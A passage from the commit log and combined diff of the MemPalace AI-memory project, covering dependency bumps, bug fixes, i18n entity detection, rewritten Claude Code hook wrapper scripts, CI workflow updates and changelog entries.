- dependency-name: actions/upload-pages-artifact
  dependency-version: '5'
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-04-17 07:56:05 +00:00
dependabot[bot] c942f5866c chore(deps): bump actions/deploy-pages from 4 to 5
Bumps [actions/deploy-pages](https://github.com/actions/deploy-pages) from 4 to 5.
- [Release notes](https://github.com/actions/deploy-pages/releases)
- [Commits](https://github.com/actions/deploy-pages/compare/v4...v5)

---
updated-dependencies:
- dependency-name: actions/deploy-pages
  dependency-version: '5'
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-04-17 07:56:02 +00:00
Igor Lins e Silva 41bff266a4 Merge pull request #918 from almirus/develop
feat(cli): add version display and version flag to CLI
2026-04-17 00:29:55 -03:00
Igor Lins e Silva 596f3d3a8e Merge pull request #964 from MemPalace/fix/website-false-claims
fix(website): correct false claims and stale numbers in live docs
2026-04-16 23:38:08 -03:00
Igor Lins e Silva 0cb9ee5c58 fix(website): correct false claims and stale numbers in live docs
- Landing: replace nonexistent `mempalace remember` CLI demo with real
  `mempalace mine ./notes`
- Landing: soften unverifiable absolutes ("forever available",
  "100% recall by design", "<50 ms", "90%+ compression",
  "two-thousand-year-old", "tens of thousands of entries")
- MCP tool count: 19 → 29 across mcp-integration, claude-code, openclaw,
  and modules; expand tool overview with Drawers, Tunnels, and System
  categories to match mcp_server.py
- Wake-up token range: ~170–900 → ~600–900 in cli/api-reference/python-api
  to match cli.py help text and concept docs
- Gemini CLI: move `--scope user` before target name and add `--`
  separator so `-m mempalace.mcp_server` isn't parsed as Gemini flags
2026-04-16 23:31:35 -03:00
Igor Lins e Silva 51919fef0c Merge pull request #963 from domiscd/feat/landing-page-update
feat(website): update landing page
2026-04-16 22:37:16 -03:00
Dominique Deschatre c8727b3a2d chore(website): add Google Analytics 2026-04-16 22:34:37 -03:00
Dominique Deschatre 44c525ddd3 Merge remote-tracking branch 'upstream/develop' into feat/landing-page-update
# Conflicts:
#	website/index.md
2026-04-16 22:31:22 -03:00
Dominique Deschatre d8ac4c3abb new landing page pt 2 2026-04-16 22:24:15 -03:00
Dominique Deschatre 9893fa2383 new landing page 2026-04-16 21:46:03 -03:00
Lman ChuandClaude c88b8a2e17 style: fix ruff format for test_entity_detector.py
Collapse implicit string concatenation to single-line strings
to satisfy ruff format --check in CI.

Co-Authored-By: Claude <noreply@anthropic.com>
2026-04-17 06:40:41 +08:00
jpandClaude Opus 4.6 8adf35a13c fix: add threading lock to graph cache, expand docstring
Address review feedback from @bensig:
1. Wrap cache reads/writes in threading.Lock for thread safety
2. Promote the col-arg caveat from inline comment to docstring

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-04-16 09:00:36 -07:00
jpandClaude Opus 4.6 1657a79649 fix: clarify cache docs, skip caching empty graphs
Addresses Copilot review feedback on #661.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-04-16 09:00:27 -07:00
jp 84e2aa16e4 perf: graph cache with write-invalidation in build_graph()
build_graph() scans every drawer's metadata in 1000-item batches on
every call — O(n) per graph build with no caching. At 50K+ drawers
this costs several seconds per MCP tool call (traverse, find_tunnels,
graph_stats all call build_graph on every invocation).

Add a module-level cache (nodes + edges + timestamp) with a 60-second
TTL. Cache is invalidated via invalidate_graph_cache(), exported for
write operations to call. Tests updated with setup_method cache resets
and two new tests verifying cache hit and invalidation behaviour.
2026-04-16 09:00:27 -07:00
jpandClaude Opus 4.6 15ea385554 fix: replace all non-ASCII progress markers for Windows encoding
Also fix miner.py checkmark and box-drawing/arrow chars (─, →) in
both miner.py and split_mega_files.py that would crash on cp1251/cp1252.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-04-16 08:59:58 -07:00
jpandClaude Opus 4.6 542b53bb0f fix: replace Unicode checkmark with ASCII + for Windows encoding (#535)
Windows terminals using cp1251/cp1252 crash on the Unicode ✓ (U+2713)
in progress output. Replace with ASCII + in convo_miner.py and
split_mega_files.py.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-04-16 08:59:58 -07:00
Lman Chu 683e940f70 feat(i18n): add Traditional + Simplified Chinese entity detection
zh-TW and zh-CN previously had no `entity` section. Calling
`detect_entities(..., languages=("zh-TW",))` silently fell back to
English patterns (i18n/__init__.py:231-233), so no Chinese names
were ever extracted — Chinese-speaking users got zero people or
projects detected from their own notes.

This adds entity sections for both locales:

- `candidate_pattern`: common-surname-prefixed CJK n-grams (~100
  surnames covering >95% of Taiwanese / PRC names), length capped
  at {1,2} trailing chars so greedy matches don't swallow the
  trailing verb character (e.g. 朱宜振說).
- `boundary_chars`: `\u4E00-\u9FFF` so the i18n loader's
  script-aware wrap (introduced in #932) fires `\b` at CJK↔non-CJK
  transitions. This is the same mechanism used for Devanagari,
  applied to the CJK range.
- `person_verb_patterns`: Chinese verbs attach directly to the
  name with no whitespace, so patterns are written as `{name}說`,
  `{name}問`, `{name}決定` — no `\b` or `\s+` separators.
- `dialogue_patterns`: full-width colon `:`, Chinese quotes
  「」『』, plus the standard Latin forms.
- `pronoun_patterns`: 他 / 她 / 它 / 他們 / 她們 / 您 / 咱.
- `stopwords`: ~140 common particles, pronouns, time expressions,
  question words, conjunctions, UI nouns, and politeness forms.

**Known limitation** (explicitly covered by a test): CJK scripts
have no word delimiters, so a name flanked by CJK on both sides
with no punctuation or whitespace break is not extracted. This
is a fundamental limit of regex-based CJK entity detection —
resolving it would require a dictionary tokeniser. Realistic
Chinese technical writing contains enough non-CJK neighbours
(bullet lines, inline English, full-width punctuation, newlines)
that 3+ occurrences normally produce matches. Verified against a
realistic zh-TW PKM note: 朱宜振 extracted 11x from 8 sentences
with 0.99 person-classification confidence.

**Follow-ups** (separate PRs): same pattern for `ja` and `ko`,
both of which currently share the silent fallback-to-English bug.

Tests: 7 new tests in `tests/test_entity_detector.py`:
- `test_zh_tw_candidate_extraction_at_boundaries`
- `test_zh_tw_person_classification`
- `test_zh_tw_stopwords_filter_common_particles`
- `test_zh_tw_falls_back_to_english_for_non_cjk_names`
- `test_zh_cn_candidate_extraction`
- `test_zh_cn_and_zh_tw_union_covers_both_variants`
- `test_zh_tw_known_limitation_inline_name_no_boundary`

Full suite: 957 passed, 0 failed.
2026-04-16 17:43:09 +08:00
fatkobra 1dc55a791d test: make Claude plugin wrapper tests portable on Windows 2026-04-16 11:41:53 +02:00
fatkobra be9214a190 Update mempal-precompact-hook.sh 2026-04-16 10:42:20 +02:00
fatkobra 5fe0c1c2ac Update mempal-stop-hook.sh 2026-04-16 10:33:34 +02:00
fatkobra e083cd6c84 Create test_claude_plugin_hook_wrappers.py 2026-04-16 10:32:17 +02:00
JunghwanNA fb1cf53919 fix: harden repair backup scope and migrate swap rollback
- repair.py: define backup_path before the conditional block so it is
  always in scope when the except handler references it
- migrate.py: restore old palace from .old if both os.rename and
  shutil.move fail during the swap step
2026-04-16 14:04:26 +09:00
JunghwanNA 5bf826046c fix: sanitize topic parameter in tool_diary_write
agent_name and entry are validated via sanitize_name/sanitize_content,
but topic is stored raw into ChromaDB metadata. Apply the same
sanitize_name guard to reject null bytes, path traversal, and
oversized payloads.
2026-04-16 12:12:17 +09:00
JunghwanNA 5dfe853154 fix: guard against data loss in repair, migrate, and CLI rebuild
- repair.py: wrap upsert loop in try/except; restore from backup on
  failure instead of leaving a partially rebuilt collection
- migrate.py: replace non-atomic rmtree+move with rename-aside swap
  so a crash between the two calls does not destroy both copies
- cli.py: use offset += len(batch["ids"]) with empty-batch guard
  instead of fixed offset += batch_size to prevent skipping drawers
2026-04-16 12:11:18 +09:00
almirus 10cdd93cec feat(cli): add version display and version flag to CLI
Introduces a version label to the command-line interface, displaying the current MemPalace version in the help text. Adds a `--version` flag to allow users to easily check the version and exit.
2026-04-15 21:44:20 +03:00
Vu Nguyen c924d07b3e fix(status): paginate metadata fetch to support large palaces
`col.get(limit=total)` causes SQLite "too many SQL variables"
on palaces with >10k drawers (#802) and on older versions the
hardcoded limit=10000 silently truncated the count (#850).

Paginate in 5k batches using offset and aggregate wing/room
counts incrementally. Also use `col.count()` for the header
instead of `len(metas)` so the displayed total is always correct.

Tested on a 122,686-drawer palace.

Fixes #850
Related: #802, #723
2026-04-13 22:30:56 -05:00
127 changed files with 26316 additions and 1087 deletions
+1 -5
View File
@@ -1,9 +1,5 @@
{
"mempalace": {
"command": "python3",
"args": [
"-m",
"mempalace.mcp_server"
]
"command": "mempalace-mcp"
}
}
+21 -2
View File
@@ -1,5 +1,24 @@
#!/bin/bash
# MemPalace PreCompact Hook — thin wrapper calling Python CLI
# All logic lives in mempalace.hooks_cli for cross-harness extensibility
INPUT=$(cat)
echo "$INPUT" | python3 -m mempalace hook run --hook precompact --harness claude-code
run_mempalace_hook() {
if command -v mempalace >/dev/null 2>&1; then
mempalace hook run "$@"
return $?
fi
if command -v python3 >/dev/null 2>&1 && python3 -c "import mempalace" >/dev/null 2>&1; then
python3 -m mempalace hook run "$@"
return $?
fi
if command -v python >/dev/null 2>&1 && python -c "import mempalace" >/dev/null 2>&1; then
python -m mempalace hook run "$@"
return $?
fi
echo "MemPalace hook error: could not find a runnable mempalace command or module" >&2
return 1
}
run_mempalace_hook --hook precompact --harness claude-code
+21 -2
View File
@@ -1,5 +1,24 @@
#!/bin/bash
# MemPalace Stop Hook — thin wrapper calling Python CLI
# All logic lives in mempalace.hooks_cli for cross-harness extensibility
INPUT=$(cat)
echo "$INPUT" | python3 -m mempalace hook run --hook stop --harness claude-code
run_mempalace_hook() {
if command -v mempalace >/dev/null 2>&1; then
mempalace hook run "$@"
return $?
fi
if command -v python3 >/dev/null 2>&1 && python3 -c "import mempalace" >/dev/null 2>&1; then
python3 -m mempalace hook run "$@"
return $?
fi
if command -v python >/dev/null 2>&1 && python -c "import mempalace" >/dev/null 2>&1; then
python -m mempalace hook run "$@"
return $?
fi
echo "MemPalace hook error: could not find a runnable mempalace command or module" >&2
return 1
}
run_mempalace_hook --hook stop --harness claude-code
+1 -1
View File
@@ -9,7 +9,7 @@
"name": "mempalace",
"source": "./.claude-plugin",
"description": "AI memory system — mine projects and conversations into a searchable palace. 19 MCP tools, auto-save hooks, guided setup.",
"version": "3.3.1",
"version": "3.3.4",
"author": {
"name": "milla-jovovich"
}
+2 -6
View File
@@ -1,6 +1,6 @@
{
"name": "mempalace",
"version": "3.3.1",
"version": "3.3.4",
"description": "Give your AI a memory — mine projects and conversations into a searchable palace. 19 MCP tools, auto-save hooks, and guided setup.",
"author": {
"name": "milla-jovovich"
@@ -9,11 +9,7 @@
"commands": [],
"mcpServers": {
"mempalace": {
"command": "python3",
"args": [
"-m",
"mempalace.mcp_server"
]
"command": "mempalace-mcp"
}
},
"keywords": [
+1 -1
View File
@@ -3,7 +3,7 @@ set -euo pipefail
HOOK_NAME="${1:?Usage: mempal-hook.sh <hook-name>}"
INPUT_FILE=$(mktemp) || { echo "Failed to create temp file" >&2; exit 1; }
cat > "$INPUT_FILE"
cat "$INPUT_FILE" | python3 -m mempalace hook run --hook "$HOOK_NAME" --harness codex
cat "$INPUT_FILE" | mempalace hook run --hook "$HOOK_NAME" --harness codex
EXIT_CODE=$?
rm -f "$INPUT_FILE" 2>/dev/null
exit $EXIT_CODE
+2 -6
View File
@@ -1,6 +1,6 @@
{
"name": "mempalace",
"version": "3.3.1",
"version": "3.3.4",
"description": "Give your AI a memory — mine projects and conversations into a searchable palace. 19 MCP tools, auto-save hooks, and guided setup.",
"author": {
"name": "milla-jovovich"
@@ -21,11 +21,7 @@
"hooks": "./hooks.json",
"mcpServers": {
"mempalace": {
"command": "python3",
"args": [
"-m",
"mempalace.mcp_server"
]
"command": "mempalace-mcp"
}
},
"interface": {
+6 -2
View File
@@ -17,6 +17,7 @@ jobs:
- uses: actions/setup-python@v6
with:
python-version: ${{ matrix.python-version }}
cache: 'pip'
- run: pip install -e ".[dev]"
- run: python -m pytest tests/ -v --ignore=tests/benchmarks --cov=mempalace --cov-report=term-missing --cov-fail-under=80 --durations=10
@@ -26,7 +27,8 @@ jobs:
- uses: actions/checkout@v6
- uses: actions/setup-python@v6
with:
python-version: "3.9"
python-version: "3.13"
cache: 'pip'
- run: pip install -e ".[dev]"
- run: python -m pytest tests/ -v --ignore=tests/benchmarks --cov=mempalace --cov-report=term-missing --cov-fail-under=80 --durations=10
@@ -36,7 +38,8 @@ jobs:
- uses: actions/checkout@v6
- uses: actions/setup-python@v6
with:
python-version: "3.9"
python-version: "3.13"
cache: 'pip'
- run: pip install -e ".[dev]"
- run: python -m pytest tests/ -v --ignore=tests/benchmarks --cov=mempalace --cov-report=term-missing --cov-fail-under=80 --durations=10
lint:
@@ -46,6 +49,7 @@ jobs:
- uses: actions/setup-python@v6
with:
python-version: "3.11"
cache: 'pip'
- run: pip install "ruff>=0.4.0,<0.5"
- run: ruff check .
- run: ruff format --check .
+3 -3
View File
@@ -23,7 +23,7 @@ jobs:
permissions:
contents: read
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@v6
with:
fetch-depth: 0
@@ -46,7 +46,7 @@ jobs:
DOCS_EDIT_BRANCH: ${{ github.ref_name }}
run: bun run docs:build
- uses: actions/upload-pages-artifact@v3
- uses: actions/upload-pages-artifact@v5
with:
path: website/.vitepress/dist
@@ -63,4 +63,4 @@ jobs:
steps:
- name: Deploy to GitHub Pages
id: deployment
uses: actions/deploy-pages@v4
uses: actions/deploy-pages@v5
+1 -1
View File
@@ -16,7 +16,7 @@ jobs:
check-versions:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@v6
- name: Extract versions from all sources
id: versions
+96
View File
@@ -6,6 +6,102 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
---
## [3.3.4] — 2026-04-30
### Added
- **`mempalace init` now prompts to mine the same directory.** After entity confirmation, room detection, and gitignore guard, `init` shows a one-line scope estimate (e.g. `~423 files (~12 MB) would be mined into this palace.`) computed from its existing corpus walk, then asks `Mine this directory now? [Y/n]` (default yes) and runs `mine()` in-process if accepted. The estimate fires before the prompt so users on a real corpus aren't surprised by a minutes-long ChromaDB write. Declining prints the exact `mempalace mine <dir>` command for later. (#1181)
- **New `--auto-mine` flag on `mempalace init`** for the non-interactive path (`mempalace init --auto-mine <dir>` skips the mine prompt and runs mine directly). `--yes` retains its existing scope of entity auto-accept only and still prompts for the mine step, so existing scripted callers see no behaviour change; combining `--yes --auto-mine` gives a fully non-interactive setup. (#1181)
- **Cross-wing topic tunnels.** When two wings have confirmed `TOPIC` labels in common (the LLM-refine bucket from `mempalace init --llm`), the miner now drops a symmetric tunnel between them at mine time so the palace graph reflects shared themes (frameworks, vendors, recurring concepts). Tunnels are routed through the existing `create_tunnel` storage so they share dedup and persistence with explicit tunnels. Topic tunnels are stored under a synthetic `topic:<name>` room and tagged with `kind: "topic"` on the stored dict — this keeps them distinct from literal folder-derived rooms of the same name (a wing with both an `Angular` folder room and an `Angular` topic tunnel no longer collides at `follow_tunnels` read time) and gives LLMs scanning `list_tunnels` a visible discriminator. Threshold is configurable via `MEMPALACE_TOPIC_TUNNEL_MIN_COUNT` env var or `topic_tunnel_min_count` in `~/.mempalace/config.json` (default `1`). Manifest-dependency overlap and per-topic allow/deny lists remain out of scope. (#1180)
- **Context-aware corpus detection at `mempalace init`.** A new Pass 0 runs at the start of `init` — before entity detection — and answers one question: *is this corpus an AI-dialogue record, and if so, which platform and what persona names has the user assigned to the agents?* Tier 1 is a free regex heuristic (well-known AI brand terms + turn-marker patterns, with a co-occurrence rule that suppresses ambiguous terms like `Claude`/`Gemini`/`Haiku` when no unambiguous AI signal is present, so French novels and astrology forums don't false-positive). Tier 2 is an LLM call (~$0.01 with Anthropic Haiku, free with local Ollama/LM Studio/llama.cpp/vLLM) that extracts `user_name` and `agent_persona_names` from dialogue structure. Result is persisted to `<palace>/.mempalace/origin.json` with a `schema_version: 1` envelope so downstream tools can read it. Entity classification then routes names matching `agent_persona_names` (case-insensitive) into a new `agent_personas` bucket instead of `people`, so a Claude Code transcript no longer misclassifies the user's `Echo`/`Sparrow`/`Cipher` agents as biological people. `llm_refine` receives the same context as a system-prompt preamble so it can disambiguate other ambiguous candidates with corpus-level knowledge too. Backwards compatible: callers that don't pass `corpus_origin` see the v3.3.3 return shape unchanged. (#TBD)
- **`mempalace init` runs LLM-assisted refinement by default.** v3.3.3 made `--llm` opt-in; the LLM-assisted path is qualitatively better (extracts persona names, refines ambiguous classifications) so it now runs by default. Provider precedence is unchanged — Ollama at `http://localhost:11434` first, then openai-compat, then anthropic with API key. **Never blocks init on a missing LLM**: if no provider is reachable (Ollama not running, no API key set), init prints a one-line message pointing at `--no-llm` and falls through to the heuristic-only path. `--no-llm` is the new explicit opt-out. The legacy `--llm` flag is preserved as a deprecated alias of the default so scripted callers see no behaviour change. Cost story: zero for users with a local LLM (the majority on this repo), ~$0.01 per init for users with `ANTHROPIC_API_KEY` set who explicitly choose `--llm-provider anthropic`, zero for users with no LLM (graceful fallback). (#TBD)
- **`mempalace mine --redetect-origin` flag.** Re-runs corpus-origin detection on the current corpus state and overwrites `<palace>/.mempalace/origin.json`. Useful when the corpus has grown since `mempalace init` and the stored origin may be stale. Heuristic-only by design (the flag is meant to be cheap); re-run `mempalace init` for full Tier 2 LLM refinement. Default `mempalace mine` does not touch `origin.json` — the flag is opt-in. (#TBD)
### Bug Fixes
- **Cross-wing topic tunnels for hyphenated dir names.** `mempalace init` recorded the `topics_by_wing` registry key under the raw directory name (e.g. `mempalace-public`), while `mempalace.yaml`'s `wing` field used the lower-cased + separator-collapsed slug (`mempalace_public`). At mine time the miner read the slug from the yaml and missed the registry, so `_compute_topic_tunnels_for_wing` returned `0` silently. Real-world: any project whose folder contained a hyphen or space lost every topic tunnel. Producer side: `cmd_init`, `room_detector_local`, `miner.load_config` no-yaml fallback, and `convo_miner` now all route through a shared `normalize_wing_name()` in `config.py` so future writes use the same key. Lookup side: `palace_graph.create_tunnel`, `list_tunnels`, `follow_tunnels`, and `find_tunnels` normalize incoming wing names too, so existing palaces with raw-name keys on disk also recover. (#1194, #1195, #1197, follow-up to #1180)
- **HNSW index bloat from repeated resize+persist cycles.** ChromaDB's HNSW segment was growing into the tens of GB on palaces past ~15K drawers because `link_lists.bin` was being re-allocated on every flush. Setting `hnsw:batch_size` and `hnsw:sync_threshold` on collection metadata via the new `_HNSW_BLOAT_GUARD` constant pins the segment to one allocation per batch instead. Empirical: a fresh 39,792-drawer palace went from 30 GB on disk and segfaulting `mempalace status` to 376 MB and instant. Migration note — already-bloated palaces still need a `mempalace repair` or full re-mine; HNSW config is honoured at collection-create time only. (#1191, supersedes #346)
- **`max_seq_id` poisoning from old `_fix_blob_seq_ids` shim.** The 0.6.x → 1.5.x BLOB-to-INTEGER migration was running `int.from_bytes(blob, 'big')` over chromadb 1.5.x's native `b'\x11\x11' + ASCII-digit` `max_seq_id` format, yielding ~1.23e18 integers that silently suppressed every subsequent `embeddings_queue` write for the affected segment. The shim is now narrowed to the `embeddings` table only, with an additional defense-in-depth guard that skips sysdb-10-prefixed BLOBs even there. New `mempalace repair --mode max-seq-id` un-poisons existing palaces either from a pre-corruption sidecar DB (exact restore) or heuristically (`MAX(embeddings.seq_id)` over the owning collection). (#1135)
- **Auto-ingest hooks now mine the active transcript as `--mode convos`.** Stop and PreCompact hooks were spawning `mempalace mine <transcript-dir>` without `--mode`, defaulting to `projects` — so Claude Code session JSONLs were being ingested as if they were source code via `READABLE_EXTENSIONS`. The hooks now thread the correct mode through every spawn, and `MEMPAL_DIR` (when set) becomes additive rather than overriding the transcript path: a user with `MEMPAL_DIR` pointed at their project still gets the active conversation mined verbatim. Shell hooks also gained the same `_validate_transcript_path` rejection logic the Python entry point already had (extension + `..` traversal). (#1230, #1231)
- **CLI `mempalace search` retrieval quality.** The CLI was using pure ChromaDB cosine distance with no BM25 rerank, so drawers containing every query term but embedding as noise (directory listings, diff output, shell logs) scored `Match: 0.0` alongside genuinely irrelevant results with no way to tell them apart. Wired the CLI through the same `_hybrid_rank` the `mempalace_search` MCP tool already used, and surfaced both `cosine=` and `bm25=` scores in the output so users see which component of the match is firing. MCP search was unaffected; this fixes the human-facing CLI parity gap.
- **Legacy-palace distance-metric warning.** CLI search now detects palaces created before `hnsw:space=cosine` was consistently set and prints a one-line notice pointing at `mempalace repair`. Without the warning such palaces silently used L2 distance, under which the similarity display floored every result to `Match: 0.0`. New palaces mined today already set cosine correctly and now have invariant tests pinning that behavior so future refactors can't silently regress it. (#1179)
- **Graceful Ctrl-C during `mempalace mine`.** Interrupting a long mine no longer dumps a multi-frame `KeyboardInterrupt` traceback. The main file-processing loop now catches the signal, prints `files_processed: N/M`, `drawers_filed: K`, and `last_file:` so the user knows what landed, then exits with code 130 (standard SIGINT). Already-filed drawers are upserted idempotently on re-mine via deterministic IDs, so resuming is safe. The hooks PID lock at `~/.mempalace/hook_state/mine.pid` is now also actively cleaned up in a `finally` when its entry points at us — clean exit, error, or interrupt — preventing the next hook fire from briefly waiting on a stale PID. (#1182)
- **`mempalace init` is now idempotent across re-runs.** Running `init` twice on the same project produced different `origin.json` results because the first run wrote `entities.json` into the project directory, and the second run's corpus-origin sampling included that file as corpus content — shifting Tier 1's character-density math. Sampling now skips the per-project artifacts (`entities.json`, `mempalace.yaml`), so re-running `init` produces the same classification it did the first time. Pinned by an integration test in `tests/test_corpus_origin_integration.py`. (#TBD)
- **HNSW divergence floor now scales with `hnsw:sync_threshold`.** The capacity probe added in #1227 hardcoded a 2,000-row floor for the "DIVERGED" decision, sized against chromadb's default `sync_threshold` of 1,000. The bloat-guard fix above (#1191) raised `hnsw:sync_threshold` to 50,000 without updating the divergence floor to track. Result: any new palace past ~100K drawers spent roughly 80% of each write cycle reporting `DIVERGED`, and `mcp_server._refresh_vector_disabled_flag` silently routed vector search to the BM25 fallback even though chromadb was behaving correctly. The floor now reads `hnsw:sync_threshold` from collection metadata and scales to `2 × sync_threshold`, preserving the legacy 2,000 fallback for older palaces that pre-date #1191. (#1287, fixes interaction between #1191 and #1227)
- **Stop hook no longer crashes ChromaDB on reopen.** `ChromaBackend.get_collection(create=True)` was calling `client.get_or_create_collection` with metadata on every open. In chromadb 1.5.x, when that metadata differs from the stored collection metadata the Rust binding SIGSEGVs with no traceback — the failure mode behind the session-end stop-hook crashes reported in #1089. The call is now split into `get_collection` first, falling back to `create_collection` only when the collection does not yet exist. Existing palaces open without touching their metadata; new ones are created with the full settings as before. The MCP server's `_get_collection(create=True)` path (reached by `tool_add_drawer` and `tool_diary_write`, the latter being what the Stop hook fires at session end) carried the same metadata payload at a parallel call site and got the same try/except split applied, closing the crash class on both reopen paths. (#1089, #1262, #1289)
- **`repair --mode max-seq-id` heuristic now decodes BLOB-typed `embeddings.seq_id` rows.** The recovery feature added in #1135 was running `int(row[0])` directly on the result of `MAX(e.seq_id)`. On palaces where chromadb 1.5.x has been writing seq_ids natively (8-byte big-endian uint64 BLOB), that raised `ValueError: invalid literal for int() with base 10: b'\x00\x00\x00\x00\x00\x00-\xae'` before the dry-run summary could print, leaving users with no path through the un-poison feature #1135 was specifically designed to provide. `_compute_heuristic_seq_id` now decodes BLOB return values via `int.from_bytes(val, "big")` and keeps the existing `int(val)` path for INTEGER rows. (#1254, #1288, follow-up to #1135)
---
## [3.3.3] — 2026-04-23
### Bug Fixes
- **Install regression** — `mempalace-mcp` console script is now declared in `pyproject.toml` alongside `.claude-plugin/plugin.json`'s reference to it. In v3.3.2 the two drifted apart (plugin.json shipped the new `"command": "mempalace-mcp"` form before the matching entry point landed), so every fresh `pip install mempalace==3.3.2` produced a Claude Code plugin config pointing at a binary that wasn't installed. (#1093, #340)
- Restore silent-save visibility after the Claude Code 2.1.114 client regression — production transcript saves were failing silently until this PR. (#1021)
- Paginate `status`-path metadata fetches so large palaces don't trip SQLite variable limits. (#851)
- Resolve the Claude plugin hook runner across platform / plugin-dir variations; previously broke on Windows and some macOS layouts. (#942)
- Real `python3` resolution for `.sh` hooks with a `MEMPAL_PYTHON` override path. (#833)
- Add optional `wing` parameter to `tool_diary_write` / `tool_diary_read` and derive per-project wing from the Claude Code transcript path when writing from the stop hook — diary entries from different projects no longer collapse into a shared default wing. (#659)
- Treat empty string as "no filter" in `mempalace_search` `wing`/`room`; LLM agents that default to filling every optional parameter with `""` no longer get bounced with `must be a non-empty string`. (#1097, #1084)
- Broaden `_wing_from_transcript_path` to handle Claude Code project folders without a `-Projects-` segment (e.g. `~/dev/<parent>/<project>`, `~/code/<project>`). The project name is now derived from the final dash-separated token of the encoded folder, so Linux users with code outside `~/Projects/` get per-project diary scoping instead of falling through to `wing_sessions`. (#1145, follow-up to #659)
- `mempalace_diary_read(wing="")` now returns diary entries from every wing this agent has written to, matching the #1097 "empty-string as no filter" pattern. Previously defaulted to `wing_<agent>`, siloing entries that hooks wrote to project-derived wings. (#1145)
- `mempalace mine` now skips the generated `entities.json` file so its contents aren't re-ingested as project content. (#1175)
### Improvements
- **Deterministic hook saves.** Save hook now uses a silent Python API path, so successive hook invocations produce reproducible results and zero data loss on the hot path. (#673)
- **Graph cache with write-invalidation** inside `build_graph()` — warm-path calls no longer rebuild the palace-graph per request. (#661)
- **`mempalace init` entity detection overhaul.** Canonical project names now come from package manifests (`package.json`, `pyproject.toml`, `Cargo.toml`, `go.mod`) and real people come from git commit authors, rather than being inferred from prose. Includes union-find dedup across name/email aliases, bot filtering that keeps `@users.noreply.github.com` humans, and automatic "mine" flagging by contribution share. (#1148)
- **Regex detector accuracy.** CamelCase extraction so `MemPalace`, `ChromaDB`, `OpenAI` aren't fragmented; tighter versioned/hyphenated pattern kills `context-manager` / `multi-word` false positives; dialogue `^NAME:\s` requires ≥2 hits so `Created: <date>` metadata stops classifying field names as people; expanded stopwords for common English participles and descriptors; high-pronoun signal classifies as person rather than dumping to uncertain. (#1148)
- **Init → miner wire-up.** Confirmed entities merge into `~/.mempalace/known_entities.json` on init, which the miner reads to tag drawer metadata for entity-filtered search. Previously init's output was not consumed by the miner; the per-project `entities.json` is kept as an audit trail. (#1157)
- **Case-insensitive project dedup** across manifest, git, and convo sources so casing variants of the same project name collapse into one review entry. (#1175)
### Added
- i18n: Belarusian translation. (#1051)
- i18n: entity detection for German, Spanish, and French locales. (#1001)
- i18n: Traditional + Simplified Chinese entity detection. (#945)
- **`mempalace init --llm`**: optional LLM-assisted entity classification. Defaults to local Ollama (zero-API); also supports any OpenAI-compatible endpoint (LM Studio, llama.cpp server, vLLM, OpenRouter, etc.) and the Anthropic Messages API. Runs interactively with a progress indicator; Ctrl-C cancels cleanly and returns partial results. Useful for prose-heavy folders where the regex detector struggles (diaries, transcripts, research notes). Opt-in only — default init path remains zero-API. (#1150)
- **Claude Code conversation scanner.** `~/.claude/projects/<slug>/` directories now contribute project entities using each session's authoritative `cwd` metadata, avoiding slug-decoding ambiguity. (#1150)
### Known — deferred to v3.3.4
- HNSW parallel-insert SIGSEGV when `hnsw:num_threads` is unset on collection creation (#974) — fix in-flight as #976, awaiting rebase against develop.
---
## [3.3.2] — 2026-04-19
### Bug Fixes
- Fix silent drop of `.jsonl` files in project miner; raise `MAX_FILE_SIZE` cap from 10 MB to 500 MB so large transcripts no longer fall through unnoticed. Adds a tandem **sweeper** — a message-level, timestamp-coordinated, idempotent safety net that catches anything the primary miner missed. (#998)
- `mempalace sweep <target>` CLI to run the sweeper on demand against a transcript file or a directory. (#998)
- Guard `Layer3.search_raw` against `None` doc/meta rows returned by ChromaDB — prevents `AttributeError` crashes on mixed-schema palaces. (#1011, #1013)
- Guard searcher API path, closet loop, and miner status histogram against `None` metadata; matching guards added to `tool_status` / `list_wings` / `list_rooms` / `get_taxonomy` in the MCP server. (#999)
- Upgrade `chromadb` floor to `>=1.5.4` for Python 3.13 / 3.14 compatibility and pin upper bound to `<2` so future breaking majors don't silently install. (#1010)
- Fix Unicode checkmark rendering on Windows terminals that can't encode the `✓` glyph — avoids `UnicodeEncodeError` crashes on first-run output. (#681)
- **`quarantine_stale_hnsw`** — on open, detect HNSW segment directories whose `data_level0.bin` is significantly older than `chroma.sqlite3` and rename them out of the way. Recovers cleanly from HNSW/sqlite drift that otherwise causes SIGSEGV on `count()` / `query(...)` (the chroma-core/chroma#2594 failure mode). Rebuilds the index lazily on next use. (#1000)
- **PID file guard** — `mine` writes a per-source-directory PID file and refuses to start if an existing mine is still running, preventing process stacking that bloats HNSW and wedges concurrent writes. Includes cross-platform PID liveness check (`os.kill(pid, 0)` terminates on Windows, so the guard falls back to a platform-aware probe). (#1023)
### Improvements
- **RFC 001 §10 — typed backend contracts.** `BaseBackend` now returns typed `QueryResult` / `GetResult` dataclasses and `PalaceRef` for palace identity; registry-based backend discovery. Internal refactor; no user-facing API change. (#995)
- **RFC 002 §9 — source adapter scaffolding.** Introduces `BaseSourceAdapter`, adapter registry, and `PalaceContext` — the plumbing that future pluggable ingest sources will target. Internal refactor; no user-facing API change yet. (#1014)
### Documentation
- **RFC 002** — full specification for the source adapter plugin system (future pluggable ingest). (#990)
- First-run help text and `README` now reference the real `~/.claude/projects/<project>/` path shape instead of the placeholder `/path/to/transcripts`. (#996, #1012)
### Internal
- Harden sweeper for production: verbatim tool blocks, full `session_id`, logged failures.
- Address Copilot review on #995: cursor tie-break, honest metrics, accurate comments.
- Test hygiene: avoid ONNX network download in update-length validation tests; dedup update-length-validation tests; fix Windows file-lock in cache-invalidation test.
---
## [3.3.1] — 2026-04-16
### New Features
+1 -1
View File
@@ -22,7 +22,7 @@ These are non-negotiable. Every PR, every feature, every refactor must honor the
